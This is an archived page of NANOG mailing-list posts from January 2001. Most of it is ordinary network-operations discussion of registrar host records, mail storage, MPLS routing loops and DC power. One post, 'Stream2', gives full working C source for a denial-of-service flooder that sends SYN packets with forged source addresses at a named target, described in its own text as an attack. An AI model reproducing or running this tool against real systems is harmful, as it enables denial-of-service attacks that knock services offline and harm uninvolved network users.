January 2001 - Test - lists.nanog.org

RE: netsol and host records.
by Carter, Gregory 31 Jan '01

31 Jan '01

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Marc, I've had a similar experience with a domain I had transferred. The domain name (interx.net) had a host, which was relied upon by 400 other domains (ns1.interx.net) I transferred the domain name to OpenSRS (as I am a reseller) and noticed that when I created nameservers on OpenSRS for the domain name that NSI's old host records for it were overriding since we also changed the nameserver IP address for the host record. Unfortunately the only solution we had (since the host was replied upon by other domains) was to fix the host on NSI as well to reflect the new address. In an ideal world, NSI should also be able to resolve nameserver hosts on other registrars but I suppose we can all dream can't we? In your situation, you should be able to delete the nameserver host if it's not being relied upon by other domain names. They don't remove it automatically because they probably don't have any auditing tools coded to check on a regular basis whether or not a nameserver host is needed. They've always sent through the host records up to the root servers when you create them whether they are in use by a domain or not. Perhaps they should give OpenXRS a try. In short I don't think you'll ever get a straight answer from them however what they told you "because it's www" is not correct. It happens for ALL nameserver hosts unfortunately and is just something we have to deal with until they go bankrupt (wishful thinking?) Greg +(gcarter(a)infoDNS.com)-------------------------------------------------+ | infoDNS http://www.infodns.com/ | | Senior Network Administrator bits/keyID 1024/7DF9C285 | | Need help? Ask an expert. -------------> http://www.infoforums.com/ | +--------[ DC 50 57 59 C3 76 46 E8 EB 75 A8 94 FE 96 9E D3 ]----------+ - -----Original Message----- From: Marc MERLIN [mailto:marc_news@valinux.com] Sent: Wednesday, January 31, 2001 3:03 PM To: nanog(a)merit.edu Subject: OT: netsol and host records. I've really tried, but I'm giving up. I know this is only vaguely related to routers, but since I couldn't find anyone at netsol who understands their own system, I'm hoping that someone here has a better idea (through trial and error) So, I had a host, www.svlug.org which sat on one net (209.81.8.0) and as we migrated to a portable netblock, it migrated to 198.186.203.43. To avoid disruption of service, we had the two nets configured on our router, and the machine had both IPs. We updated DNS to switch everything to the 198.186.203.x IPs, all was nice and dandy. Later (1 year later), we move locations to a place where 209.81.8.0 isn't routed anymore, bring the host back up, everything looks cool. However people start complaining that they can't reach www.svlug.org. We find out that it still resolves to 209.81.8.243 (the old IP) for some folks. After a lot of searching, we realize that netsol is still feeding the old IP to the root name servers who answer the query before the resolvers are refered to our name servers. End up finding this: http://www.networksolutions.com/cgi-bin/whois/whois;?STRING=host+WWW7974-HS… ING=Search It's now been a month and a half that I've been trying to get rid of that stupid www.svlug.org host record Of course, we never created that host record, it was created when svcs.net and svcs.org (domains owned by someone else) were as they unfortunately specified www.svlug.org as a name server (something I only found out about way later because there is no way to know who's using your host record unless someone really high up at netsol looks that up for you). So, after moving svlug.org away from netsol (to opensrs), and noticing they were still feeding www.svlug.org to the root name servers, I called them up several times, having to dodge the clueless level 1 people who don't know what a host record is or told me it was not their problem since they don't serve svlug.org. (I've stopped using their mail system, I find it much easier to yank the domain away from them and move it to a registrar who actually knows how to write a couple of CGI scripts and set up an https server) Eventually, they tell me about svcs.net which was very unfortunately registered with www.svlug.org as a name server (instead of ns.svlug.org) I move that over to opensrs (with the help of the owner who clicks on the URL that opensrs sends you to confirm the domain move), fix the name servers, and it still doesn't work. The owner mentions to me that there is an svcs.org too (they could have told me, but no...), so wash, rince, and repeat... Both domains are moved, name servers are fixed, wait a few days. (so far so good, nothing in this process involves sending mail to their stupid mail system which never works when I use it anyway, besides I don't get the answers because after 10 years+, they still haven't fixed their script to add a 'To:' field in the Email they send) A week later, they're still feeding the bad data to the root name server. Call them up 3 times, waste time to go through the clueless level 1 people, get level 2 folks who kind of understand the problem but who are now "not habilitated to do a reverse lookup on a host record" to see if any domain is still using the bad host record. I insist, ask for a supervisor, ask for someone who can do the damn lookup, but no, no one is available. - - Why don't you send a host delete request? - - Well, if a domain is pointing to it, it won't work now, will it? - - Err yeah. - - And you can't tell me what is pointing to it if anything. - - Err no. "Send us letterhead" Yeah, as soon as I go to kinkos and make SVLUG letterhead, I'll do that. "I'll send you the forms you need to fax" I never get them because she misspelled my Email address and apparently never got/saw the bounce from my mail server and insisted that it went through. Call again, get escalated again as soon as I confused the level 1 tech enough. Ok, this guy can actually confirm that nothing is pointing to www.svlug.org. (never mind that no one was there to do that 10mn ago when I called) - - But then why are you still feeding the bad IP to the root name servers? - - Because it's our database - - Grrrmm. Ok, look at this: http://www.networksolutions.com/cgi-bin/whois/whois;?STRING=host+ns2.merlin… Notice the bad IP? Well, it stopped mattering the day I moved my domain to opensrs. If you have no domains pointing to a host record, you stop feeding that host record to the root name servers, as you should. Are you sure nothing whatsoever is pointing to it anymore? - - Yes. - - Ok, then why are you still feeding it to the root name servers - - Because it's in our databasse - - And why don't you do it for ns2.merlins.org? - - Errr.... Hold on. (wait) That's because the hostname is 'www' - - Let me get this straight. You're telling me that you continue to feed an orphaned host name record because it has 'www' in its name? - - Yes - - Aaaarrrrgggghhh! (eating desk) - - So what now? - - Ok, submit the deletion form by Email, get the tracking number, print this different form, add the tracking number on there, and fax it to us Swell. I fill the form (http://www.networksolutions.com/en_US/makechanges/fax/hostform.html) confirm: "Domain Not Found! "svlug.org" domain cannot be found in WHOIS Database. Please go back to the previous screen and enter a valid domain name." (of course, svlug.org was moved to opensrs) Arggggh! I'm going to kill someone.... I printed the unconfirmed web form, added their error message and faxed all that to two of their fax numbers (with picture ID). Their cluelessness allows for very nice denial of service attacks (www.svlug.org has been unusable for 2 months now) This is probably going to get fixed after a lot of wasted time, but I'd like to understand why the hell they're still feeding the www.svlug.org host record to the root name servers (sorry, but I didn't quite buy the "because it has www in its name" explaination) In this case, the web server isn't the most important thing in the world (and svlug.org resolves right), but understanding what's happening would help if one day the same happens to an revenue generating web server. Thanks, Marc - -- Microsoft is to operating systems & security .... .... what McDonalds is to gourmet cooking Home page: http://marc.merlins.org/ | Finger marc_f(a)merlins.org for PGP key -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use <http://www.pgp.com> iQA/AwUBOnifqCgrak0xvB4zEQJnYACffM+L1xH5Sw00Mb7qHN75qU68WmYAnjZo XDQJra+eiKXOlElHLx0/Y7MN =UKyh -----END PGP SIGNATURE-----

2 1

OT: netsol and host records.
by Marc MERLIN 31 Jan '01

31 Jan '01

I've really tried, but I'm giving up. I know this is only vaguely related to routers, but since I couldn't find anyone at netsol who understands their own system, I'm hoping that someone here has a better idea (through trial and error) So, I had a host, www.svlug.org which sat on one net (209.81.8.0) and as we migrated to a portable netblock, it migrated to 198.186.203.43. To avoid disruption of service, we had the two nets configured on our router, and the machine had both IPs. We updated DNS to switch everything to the 198.186.203.x IPs, all was nice and dandy. Later (1 year later), we move locations to a place where 209.81.8.0 isn't routed anymore, bring the host back up, everything looks cool. However people start complaining that they can't reach www.svlug.org. We find out that it still resolves to 209.81.8.243 (the old IP) for some folks. After a lot of searching, we realize that netsol is still feeding the old IP to the root name servers who answer the query before the resolvers are refered to our name servers. End up finding this: http://www.networksolutions.com/cgi-bin/whois/whois;?STRING=host+WWW7974-HS… It's now been a month and a half that I've been trying to get rid of that stupid www.svlug.org host record Of course, we never created that host record, it was created when svcs.net and svcs.org (domains owned by someone else) were as they unfortunately specified www.svlug.org as a name server (something I only found out about way later because there is no way to know who's using your host record unless someone really high up at netsol looks that up for you). So, after moving svlug.org away from netsol (to opensrs), and noticing they were still feeding www.svlug.org to the root name servers, I called them up several times, having to dodge the clueless level 1 people who don't know what a host record is or told me it was not their problem since they don't serve svlug.org. (I've stopped using their mail system, I find it much easier to yank the domain away from them and move it to a registrar who actually knows how to write a couple of CGI scripts and set up an https server) Eventually, they tell me about svcs.net which was very unfortunately registered with www.svlug.org as a name server (instead of ns.svlug.org) I move that over to opensrs (with the help of the owner who clicks on the URL that opensrs sends you to confirm the domain move), fix the name servers, and it still doesn't work. The owner mentions to me that there is an svcs.org too (they could have told me, but no...), so wash, rince, and repeat... Both domains are moved, name servers are fixed, wait a few days. (so far so good, nothing in this process involves sending mail to their stupid mail system which never works when I use it anyway, besides I don't get the answers because after 10 years+, they still haven't fixed their script to add a 'To:' field in the Email they send) A week later, they're still feeding the bad data to the root name server. Call them up 3 times, waste time to go through the clueless level 1 people, get level 2 folks who kind of understand the problem but who are now "not habilitated to do a reverse lookup on a host record" to see if any domain is still using the bad host record. I insist, ask for a supervisor, ask for someone who can do the damn lookup, but no, no one is available. - Why don't you send a host delete request? - Well, if a domain is pointing to it, it won't work now, will it? - Err yeah. - And you can't tell me what is pointing to it if anything. - Err no. "Send us letterhead" Yeah, as soon as I go to kinkos and make SVLUG letterhead, I'll do that. "I'll send you the forms you need to fax" I never get them because she misspelled my Email address and apparently never got/saw the bounce from my mail server and insisted that it went through. Call again, get escalated again as soon as I confused the level 1 tech enough. Ok, this guy can actually confirm that nothing is pointing to www.svlug.org. (never mind that no one was there to do that 10mn ago when I called) - But then why are you still feeding the bad IP to the root name servers? - Because it's our database - Grrrmm. Ok, look at this: http://www.networksolutions.com/cgi-bin/whois/whois;?STRING=host+ns2.merlin… Notice the bad IP? Well, it stopped mattering the day I moved my domain to opensrs. If you have no domains pointing to a host record, you stop feeding that host record to the root name servers, as you should. Are you sure nothing whatsoever is pointing to it anymore? - Yes. - Ok, then why are you still feeding it to the root name servers - Because it's in our databasse - And why don't you do it for ns2.merlins.org? - Errr.... Hold on. (wait) That's because the hostname is 'www' - Let me get this straight. You're telling me that you continue to feed an orphaned host name record because it has 'www' in its name? - Yes - Aaaarrrrgggghhh! (eating desk) - So what now? - Ok, submit the deletion form by Email, get the tracking number, print this different form, add the tracking number on there, and fax it to us Swell. I fill the form (http://www.networksolutions.com/en_US/makechanges/fax/hostform.html) confirm: "Domain Not Found! "svlug.org" domain cannot be found in WHOIS Database. Please go back to the previous screen and enter a valid domain name." (of course, svlug.org was moved to opensrs) Arggggh! I'm going to kill someone.... I printed the unconfirmed web form, added their error message and faxed all that to two of their fax numbers (with picture ID). Their cluelessness allows for very nice denial of service attacks (www.svlug.org has been unusable for 2 months now) This is probably going to get fixed after a lot of wasted time, but I'd like to understand why the hell they're still feeding the www.svlug.org host record to the root name servers (sorry, but I didn't quite buy the "because it has www in its name" explaination) In this case, the web server isn't the most important thing in the world (and svlug.org resolves right), but understanding what's happening would help if one day the same happens to an revenue generating web server. Thanks, Marc -- Microsoft is to operating systems & security .... .... what McDonalds is to gourmet cooking Home page: http://marc.merlins.org/ | Finger marc_f(a)merlins.org for PGP key

1 0

Re: Scalable Mail solution with NAS
by Eric Sobocinski 31 Jan '01

31 Jan '01

At 11:06 AM -0500, 01/31/2001, Sebastien Berube wrote: >One way to fix this >issue would be to use a hashing scheme to split the amount of actual >mailboxes into a subdirectory structure. You could get something like > >johndoe(a)yourdomain.com would have his mailbox in > >/export/mailboxes/j/o/h/n/johndoe.mbox > >so in /export/mailboxes, in order to find the j directory, you only have >about 36 directories entries or so. > >Although this example is not good in the case where you accept usernames >with 3 or less characters. It's not hard to right-pad any short usernames before hashing. For instance, the username "bo" might hash as "bo__" and thus would end up in the directory "/export/mailboxes/b/o/_/_/bo.mbox". If you allow non-alphanumerics you'll want to translate those to something innocuous as well, or a name such as "bo.lee" will cause problems.

6 9

MPLS routing loop
by Swinton, Jeff 31 Jan '01

31 Jan '01

Has anyone out there deployed MPLS TE in a hybrid Cisco and Juniper environment using IS-IS? In the lab, we've come across an interoperability issue and we're wondering if anyone else has seen it and, more importantly, determined a work around. The issue is a routing loop caused by the differences in how IOS and JUNOS determine the best IP route when LSPs are present. Cisco has two approaches for assigning metrics to LSP tunnels: absolute and relative. Absolute metrics are, for the most part, independent of the underlying IGP metric. Relative LSP metrics are based on the underlying IGP - they change when the IGP metrics change. By setting an absolute metric on a Cisco MPLS tunnel, the metric applies not only to the path to the egress router, but to all paths downstream of egress router as well. So given A-B-C-D-E, with A (Cisco) having a tunnel to B with absolute metric m, A will have routes to B, C, D, and E all with metric m, no matter what the IGP link metrics are between B, C, D, or E. JUNOS behaves differently. Downstream IGP metrics are added to the tunnel, so route selection by A, if it were a Juniper, would consider B-C-D-E IGP metrics before installing the route. OK. So given this behavior, here's how the loop occurs: x y | | | | A B | | | | J-----------------C J = Juniper C = Cisco x and y are EBGP peers that advertise prefix z with the same BGP attributes. J-C has an IS-IS link metric of 1000. J-A has an IS-IS link metric of 10. C-B has an IS-IS link metric 5. Now build LSP Q (in both directions) between J and C, with LSP metric 3. This Cisco-originated metric is "absolute". Router A and B have EBGP sessions to x. J and C have BGP sessions to both A and B (full IBGP mesh). The route from C to A is through J with metric 3. The route from J to B is through C with metric 3 + 5 = 8. The Juniper, A, sees two routes to destination z with the determining factor being IGP distance. It has a metric of 10 to A and a metric of 8 to B, so it forwards the packets to C. The Cisco, C, sees two routes to destination z with the determining factor being IGP distance. It has a metric of 3 to A (because it doesn't add the downstream metric) and a metric of 5 to B. The Cisco forwards the packet to J. Voila. Loop. With a full LSP mesh of routers, you wouldn't see this problem, but there are reasons why you might not have a full mesh. - Some routers on a network might not support MPLS. - Link or protocol (e.g. RSVP) failures may cause a node to drop out of the mesh. - And then there's always misconfigurations. - Large providers may decide to have a core LSP mesh only, to minimize scaling complexity.

1 0

Re: Scalable Mail solution with NAS - Diodes
by SMcGrath＠dhhs.state.nh.us 31 Jan '01

31 Jan '01

There are many diodes with multi-amp ratings you will need a diode rated at at least 100 PRV (Peak Reverse Voltage) and a current rating of approx 150% of load current (I believe in overdesign!) Newark, or Mouser electronics can supply you with one Regards - Scott P.S. Remember the DC supply is -48 volts so do not let negative hit earth ground or you will be arc welding! "Kris S. Amundson" <krisa(a)metstream.com>@merit.edu on 01/31/2001 03:19:59 AM Sent by: owner-nanog(a)merit.edu To: Mike Johnson <mike.johnson(a)isunnetworks.com>, nanog(a)merit.edu cc: Subject: Re: Scalable Mail solution with NAS Ok, this is my beef with NetApp. We have a NetApp F720 with a single disk shelf. The F720 "brain box" has two power supply units that slide into the back on the right and left side, each having it's own 48V DC connectors (about the size of LS1010 power supplies). Now the disk shelf. It has two power supplies that slide into the front and connect into the backplane with no connectors on the front. A fixed connector assembly is located on the back. Just one. One! No A side. No B side. Just one +/-/GND. We gave NetApp a call and their workaround was "you could use a diode and connect both A & B wires to the unit". Uhh... thanks. They also told us their design engineer had already been slapped on the hand, and they are working on their next version. It was an interesting gotcha for our server engineer who wansn't too farmiliar with DC power plants. Now, does anyone know of a diode that can do 10A at 48V? Any EE's out there? Mike Johnson wrote: > Patrick Hollowell [phollowell(a)vnet.net] wrote: > >> My company is in the process of evaluating several mail solutions, scalable >> to 150k to 200k mailboxes. One thing we'd like to do is run the message >> store over Gig-E on network attached storage. Two of the vendors we've been >> looking at claim performance issues running this solution over NFS. Does >> anyone know of a carrier-class mail solution that will run well on NAS? > > > Take a look at NetApp. My company (unfortunately) signed an NDA with > NetApp, but they've posted that Yahoo uses NetApp for their e-mail: > http://www.netapp.com/partners/catalog.cgi/company/28 > > Rumor has it (no, I'm not violating my NDA) that Hotmail also uses NetApp. > -Plenty- of other large sites use 'em for e-mail. Just call a NetApp > sales person and and ask for the list. It's impressive. I do believe > it contains some carrier-class implementations. > > Mike

1 0

Re: Scalable Mail solution with NAS
by Lyndon Nerenberg 31 Jan '01

31 Jan '01

[ This belongs in comp.mail.misc. ] >>>>> "Sebastien" == Sebastien Berube <sberube(a)zeroknowledge.com> writes: Sebastien> 2. The more mailboxes you have, the slower the entire Sebastien> popping process will be. The reason is very simple, Sebastien> each pop process will spawn and read your mailbox Sebastien> directory. You have a highly deficient pop server implementation. The fork-on-connect model is dead. A well written threaded server can handle tens of thousands of concurrent connections. Sebastien> /export/mailboxes/j/o/h/n/johndoe.mbox That just moves the problem around. Traversing those intermediate directories isn't exactly a light-weight set of operations. Sebastien> Although this example is not good in the case where you Sebastien> accept usernames with 3 or less characters. A proper hashing algorithm would solve that. --lyndon

1 0

Stream2
by Jason Legate 31 Jan '01

31 Jan '01

This is thrown together partially from the original sources of stream, and partially from my own ramblings, it was a quick and dirty hack, so there are parts of it that are messy. For testing purposes on a lan, if you want to verify packet headers, and not send as fast as it can, you can define SLOW. This version has the fixed tcp cksum, and a MSS window of compile-time definable size. --- stream2.c --- #include <stdio.h> #include <time.h> #include <stdlib.h> #include <unistd.h> #include <strings.h> #include <sys/time.h> #include <sys/param.h> #include <sys/types.h> #include <sys/socket.h> #ifndef __USE_BSD #define __USE_BSD #endif #ifndef __FAVOR_BSD #define __FAVOR_BSD #endif #include <netinet/in_systm.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <netdb.h> /* * QUIET controls whether to print out errors (can be very noisy, if this is * undef'd, when buffers are full) * * SLOW adds a nanosleep (rounded to nearest clock tick), for pacing stream * - NOTE: This really slows it down * * TCPFLAGS sets what kind of tcp packets to generate * * _TCP_MSS sets the MSS value (1460 recommended) unless the OS includes have * a value already set */ #define QUIET #undef SLOW #define TCP_FLAGS TH_SYN #ifndef _TCP_MSS #define _TCP_MSS 1460 #endif struct ip_hdr { u_char ip_hl:4, ip_v:4; u_char ip_tos; u_short ip_len; u_short ip_id; u_short ip_off; u_char ip_ttl; u_char ip_p; u_short ip_sum; u_long saddr; u_long daddr; }; struct tcp_hdr { u_short th_sport; u_short th_dport; u_long th_seq; u_long th_ack; u_char th_x2:4, th_off:4; u_char th_flags; u_short th_win; u_short th_sum; u_short th_urp; u_char th_option; u_char th_oplen; u_short th_mss; }; struct pseudo_hdr { u_long saddr; u_long daddr; u_char mbz; u_char ptcl; u_short tcpl; }; struct packet { struct ip_hdr ip; struct tcp_hdr tcp; }; struct packet packet; struct pseudo_hdr pseudo; struct sockaddr_in s_in; u_long dstaddr; int sock; void usage(char *progname) { fprintf(stderr, "Usage: %s <dstaddr>\n", progname); fprintf(stderr, " dstaddr - the target we are trying to attack.\n"); exit(1); } inline u_short ip_cksum(u_short *ipH, u_short len) { u_short answer; u_long sum = 0; int i; len >>= 1; for(i=0;i<len;i++) sum += (*ipH++); sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return(~sum & 0xffff); } inline u_short tcp_cksum(u_short *ipH, u_short IPlen, u_short *tcpH, u_short TCPlen) { u_short answer; u_long sum = 0; int i; IPlen >>= 1; TCPlen >>= 1; for(i=0;i<IPlen;i++) { sum += htons(*ipH++); } for(i=0;i<TCPlen;i++) { sum += htons(*tcpH++); } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return(~sum & 0xffff); } u_long lookup(char *hostname) { struct hostent *hp; if ((hp = gethostbyname(hostname)) == NULL) { fprintf(stderr, "Could not resolve %s.\n", hostname); exit(1); } return *(u_long *)hp->h_addr; } void flooder(void) { int i; time_t start, end; #ifdef SLOW struct timespec ts; ts.tv_sec = 0; ts.tv_nsec = 1; #endif memset(&packet, 0, sizeof(packet)); packet.ip.ip_hl = 5; packet.ip.ip_v = 4; pseudo.ptcl = packet.ip.ip_p = IPPROTO_TCP; packet.ip.ip_tos = 0x10; packet.ip.ip_id = rand(); packet.ip.ip_len = 0x2C; packet.ip.ip_off = 0x4000; packet.ip.ip_ttl = 64; pseudo.daddr = packet.ip.daddr \ = dstaddr; packet.tcp.th_flags = TCP_FLAGS; packet.tcp.th_win = htons(65535); packet.tcp.th_seq = (random() >> 16); packet.tcp.th_ack = htonl(0); packet.tcp.th_off = 6; /* 6 */ packet.tcp.th_urp = 0; packet.tcp.th_sport = htons(rand()); packet.tcp.th_dport = htons(rand()); packet.tcp.th_option = 0x02; packet.tcp.th_oplen = 0x04; packet.tcp.th_mss = htons(_TCP_MSS); pseudo.mbz = 0; s_in.sin_family = AF_INET; s_in.sin_addr.s_addr = dstaddr; s_in.sin_port = packet.tcp.th_dport; pseudo.tcpl = htons(sizeof(packet.tcp)); srandom((time(NULL) ^ getpid()) + getppid()); for(i=0;;++i) { pseudo.saddr = packet.ip.saddr = random(); while((pseudo.saddr & 0x0A000000) || (pseudo.saddr & 0xACA00000) || (pseudo.saddr & 0xC0A80000) || (pseudo.saddr & 0x7F000000)) pseudo.saddr = packet.ip.saddr = random(); packet.ip.ip_id = rand(); packet.tcp.th_sport = rand(); packet.tcp.th_seq = random() >> 18; packet.tcp.th_dport = s_in.sin_port = rand(); packet.ip.ip_sum = 0; packet.tcp.th_sum = 0; packet.tcp.th_sum = ntohs(tcp_cksum((void *)&pseudo, sizeof(pseudo), (void *)&packet.tcp, sizeof(packet.tcp))); packet.ip.ip_sum = ip_cksum((void *)&packet.ip, sizeof(packet.ip)); #ifndef QUIET if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) perror("stream"); #else sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)); #endif #ifdef SLOW nanosleep(&ts, NULL); #endif } } int main(int argc, char *argv[]) { int on = 1; printf("stream.c v2.0 - TCP Packet Storm\n"); if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } setgid(getgid()); setuid(getuid()); if (argc < 2) usage(argv[0]); if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) { perror("setsockopt"); exit(1); } srand((time(NULL) ^ getpid()) + getppid()); printf("\nResolving IPs..."); fflush(stdout); dstaddr = lookup(argv[1]); printf("Sending..."); fflush(stdout); flooder(); return 0; }

7 6

Re: Not a good day now stuff from here is on BBC
by Sean Donelan 31 Jan '01

31 Jan '01

On Wed, 31 January 2001, "Henry R. Linneweh" wrote: > Major net security holes identified > http://news.bbc.co.uk/hi/english/sci/tech/newsid_1142000/1142572.stm While there are a number of reporters on this list, they seem to rarely take quotes from this list. I can think of only one publication which has. Most of the information in the BBC story was available from tradtional reporting sources such as press releases, press conferences and individual interviews. At most a few news stories indicated ISPs had some prior notice, but didn't indicate how they received that notice. Even though Paul gave us a heads up on Friday night, no traditional news source had any coverage of the issue until after the press release hit the wires on Monday.

1 0

RE: calling attention to servers
by Roeland Meyer 31 Jan '01

31 Jan '01

Grown-up version of Satan. found at http://www.wwdsi.com/saint/ I use it for security audits of clients. Telling the truth, as much as possible, avoids having to track so many lies. > -----Original Message----- > From: Paul Vixie [mailto:vixie@mfnx.net] > Sent: Wednesday, January 31, 2001 9:52 AM > NMAP-like tools will identify your server version to anyone > who wants to know. > > So you may as well just speak the truth in your VERSION.BIND > answers, so that > your own people won't have to use NMAP-like tools for > internal auditing. >

1 0

Re: calling attention to servers
by Paul Vixie 31 Jan '01

31 Jan '01

NMAP-like tools will identify your server version to anyone who wants to know. So you may as well just speak the truth in your VERSION.BIND answers, so that your own people won't have to use NMAP-like tools for internal auditing.

1 0